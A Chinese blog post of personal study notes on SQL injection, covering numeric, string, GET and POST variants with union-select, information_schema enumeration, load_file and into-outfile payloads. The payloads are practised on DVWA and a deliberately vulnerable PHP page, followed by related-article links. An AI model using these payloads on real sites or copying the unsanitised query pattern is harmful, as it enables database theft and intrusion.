前言:

继续进行未完成的sql注入学习

今天学习了各类型注入。前来进行总结。

目录:

数字型注入

字符型注入

提交注注入

GET注入

POST注入

COOKIE注入

正文:

数字型注入:www.xxxx.com?/xx.php?id=1 and 1=1
可以直接注入不需要闭合单引号.
sql执行出的语句:select * from user where id=1 and 1=1
 
 
需要闭合注入,否则注入语句都会变为字符串
sql执行出的语句:select * from where frit_name='lis'
 
 
 
判断是否为字符型注入: DVWA为例子
输入1返回正确

输入1'返回错误

 
 
由此可以判断出为字符型注入
尝试猜字段
1' order by 1 #

1' order by 1,2 #

1' order by 1,2,3 #,报错,字段为2
爆显位
1' union select 1,2 #
获取数据库名,1' union select database(),2 #
用户名 1' union select user(),2 #  root权限
数据库版本 1' union select vsersion(),2 #
猜解所有表名 1' union select table_name,2 from information_schema.tables #
猜解所有字段名 1' union select column_name,2 from information_columns #
读取文件= =读不出来蛮尴尬的。
1' union select load_file('xxx'),2 #

写入文件的语句

1' union select 'xxxxx' into outfile 'xxx.txt' #

GET注入:

GET注入,顾名思义GET。只要注入的时候

用GET的方式提交就好。

and 1=1

and 1=2

order by 1,2,3

union select database(),version(),user()

union select table_name,2,3 from information_schema where table_schema=HEX #指定数据库的HEX编码

union select column_name,2,3 from informtaion_schema where table_name=HEX #指定数据库的HEX编码

union select 指定字段名 from 指定表名 例:union select username,password from user

POST注入:

提交方式用POST方式提交

POST.html代码

<html>
<head>
<title>POST注入</title>
</head>
<body>
<div style="color:blue;text-align:center">
<h2>POST注入尝试</h2>
<form action="sqlin.php" method="POST">
<input type="text" name="x">
<input type="submit" value="提交">
</form>
</div>
</body>
</html>

  

sqllin.php代码

//fendo数据库root用户连接mysql数据库,操作user表
<?
$id= $_POST['x'];//接受get传递的参数名x的值并赋值给变量id
$conn = mysql_connect('127.0.0.1','root','root');//连接mysql数据库
mysql_select_db('fendo',$conn);//选择$conn连接请求下的test数据库名
$sql = "select * from user where id=$id";//定义sql语句并组合变量id
$result = mysql_query($sql);//执行sql语句并返回给变量result
while($row = mysql_fetch_array($result)){//遍历数组数据并显示
echo "ID".$row['id']."</br>";
echo "用户名".$row['username']."</br>";
echo "密码".$row['password']."</br>";
}
mysql_close($conn);//关闭数据库连接
echo "<hr>";
echo "当前语句:";
echo $sql;
?>

 尝试注入

1 and 1=1

1 and 1=2

存在注入。

猜长度

1 order by 1 #返回正常

1 order by 1,2 #返回正常

1 order by 1,2,3 #返回正常

1 order by 1,2,3,4 #返回错误

长度为3

获取数据库名,数据库版本,数据库用户

1 union select databse(),version(),user()

爆出DVWA的表

1 union select table_name,2,3 from information_schema.tables where table_schema=0x64767761

爆出DVWA下users表的字段

1 union select column_name,2,3 from inforamtion_schema.columns where table_name=0x7573657273

爆出我要的字段

1 union select username,password,3 from user

Cookie注入:

cookie注入:点我看详细注入

学习完这些后,可以画出这么一幅图

盲注目前还没学

SQL类型注入的更多相关文章

  1. (后端)sql手工注入语句&SQL手工注入大全(转)

    转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...

  2. 最新SQL手工注入语句&SQL注入大全

    看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...

  3. 一次简单的SQL手工注入

    1. 首先要了解SQL注入的原理:   SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 具体来说,它是利 ...

  4. SQL手工注入基础篇

    0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...

  5. SQL手工注入进阶篇

    0.前言 上一篇我们介绍了SQL手工注入的流程以及步骤,但在实际的安全问题以及CTF题目中,查询语句多种多样,而且是肯定会对用户的输入进行一个安全过滤的,而这些过滤并不一定是百分百安全的,如何利用一些 ...

  6. Spring练习,使用Properties类型注入方式,注入MySQL数据库连接的基本信息,然后使用JDBC方式连接数据库,模拟执行业务代码后释放资源,最后在控制台输出打印结果。

    相关 知识 >>> 相关 练习 >>> 实现要求: 使用Properties类型注入方式,注入MySQL数据库连接的基本信息,然后使用JDBC方式连接数据库,模拟执 ...

  7. 在Hdsi2.0 SQL的注入部分抓包分析语句

    在Hdsi2.0 SQL的注入部分抓包分析语句 恢复cmd ;insert tb1 exec master..xp_cmdshell''net user ''-- ;exec master.dbo.s ...

  8. SQL防注入程序 v1.0

    /// ***************C#版SQL防注入程序 v1.0************ /// *使用方法: /// 一.整站防注入(推荐) /// 在Global.asax.cs中查找App ...

  9. [原创]java WEB学习笔记81:Hibernate学习之路--- 对象关系映射文件(.hbm.xml):hibernate-mapping 节点,class节点,id节点(主键生成策略),property节点,在hibernate 中 java类型 与sql类型之间的对应关系,Java 时间和日期类型的映射,Java 大对象类型 的 映射 (了解),映射组成关系

    本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...

随机推荐

  1. SQL语法语句总结

    一.SQL语句语法 ALTER TABLE ALTER TABLE 用来更新已存在表的结构. ALTER TABLE tablename (ADD|DROP column datatype [NULL ...

  2. java设计模式------建造者模式

    建造者模式(Builder),将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示. 类图 描述 Builder:定义一个建造者抽象类,以规范产品对象的各个组成部分的建造.这个接口 ...

  3. 多线程&定时器Timer&同步&线程通信&ThreadLocal

    1.多线程 线程状态分为:新建状态.就绪状态.运行状态.阻塞状态.死亡状态 对象等待池的阻塞状态:运行状态执行了wait方法 对向锁池的阻塞状态:试图获得某个同步锁,已经被其他线程占用,就会放到对象的 ...

  4. WPF学习笔记2

    XML语言中添加注释为<!---->,这是和C#不同的,但是和HTML十分相似. XAML是一种基于XML的标记语言,每一个XML元素代表.NET控件的一个对象,XML元素的属性可以是.N ...

  5. python开发装饰器的应用

    python全栈开发-Day10 装饰器(闭合函数的应用场)   一. 装饰器 装饰器就是闭包函数的一种应用场景 什么是闭包函数?我们再来回忆一下: 闭包函数: 定义在函数内部的函数,并且该函数包含对 ...

  6. JavaScript(第十七天)【浏览器检测】

    由于每个浏览器都具有自己独到的扩展,所以在开发阶段来判断浏览器是一个非常重要的步骤.虽然浏览器开发商在公共接口方面投入了很多精力,努力的去支持最常用的公共功能:但在现实中,浏览器之间的差异,以及不同浏 ...

  7. C语言——第二次作业

    **学习内容总结** 本周是国庆假期,学习了mooc相关课程.阅读了<提问的智慧>一文. 文章总结 1.在提问之前,要利用身边的资源(例如相关资料.FAQ.浏览器搜索)试着自己寻找答案,或 ...

  8. Twisted UDP编程技术

    实战演练1:普通UDP UDP是一种无连接对等通信协议,没有服务器和客户端概念,通信的任何一方均可通过通信原语直接和其他方通信 1.相对于TCP,UDP编程只需定义DatagramProtocol子类 ...

  9. scrapy 博客爬取

    item.py import scrapy class FulongpjtItem(scrapy.Item): # define the fields for your item here like: ...

  10. servlet线程同步问题-代码实现同步(转)

    从servlet的生命周期中,我们知道,当第一次访问某个servlet后,该servlet的实例就会常驻 内存,以后再次访问该servlet就会访问同一个servlet实例,这样就带来多个用户去访问一 ...